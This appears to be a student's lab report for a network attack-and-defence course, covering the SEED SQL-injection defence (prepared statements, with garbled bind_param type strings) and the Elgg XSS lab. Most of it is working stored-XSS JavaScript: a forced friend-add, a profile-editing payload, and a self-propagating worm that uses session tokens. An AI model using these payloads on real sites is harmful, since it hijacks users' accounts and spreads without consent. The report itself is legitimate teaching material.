其他分享
首页 > 其他分享> > 20212931 2021-2022-2 《网络攻防实践》第十次实践报告

20212931 2021-2022-2 《网络攻防实践》第十次实践报告

作者:互联网

一、实践内容

(一)基础知识

1.Web应用程序体系结构及其安全威胁

2.SQL注入攻击

3.XSS跨站脚本攻击

(二)实践内容

1.SEED SQL注入攻击与防御实验

2.SEED XSS跨站脚本攻击实验(Elgg)

二、实践过程

实践一:SEED SQL注入攻击与防御实验

      $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= ? and Password= ?");
      $sql->bind_param("???", $input_uname, $hashed_pwd);
      $sql->execute();
      $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
      $sql->fetch();
      $sql->close();
if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
    $sql->bind_param("xxxxx",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("xxxx",$input_nickname,$input_email,$input_address,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }

实践二:SEED XSS跨站脚本攻击实验(Elgg)

<script type="text/javascript">
	window.onload = function () {
        var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>
<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
  
  var content=token+ts+"name="+userName+"&description=<p>hello my friends~.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  

  var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	  
	var samyGuid=44;    
	if(elgg.session.user.guid!=samyGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}

</script>
<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>hello my firends~  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

三、学习中遇到的问题及解决

四、学习感悟

标签:Web,攻击,elgg,实践,20212931,token,2021,SQL,var
来源: https://www.cnblogs.com/psalm46/p/16286946.html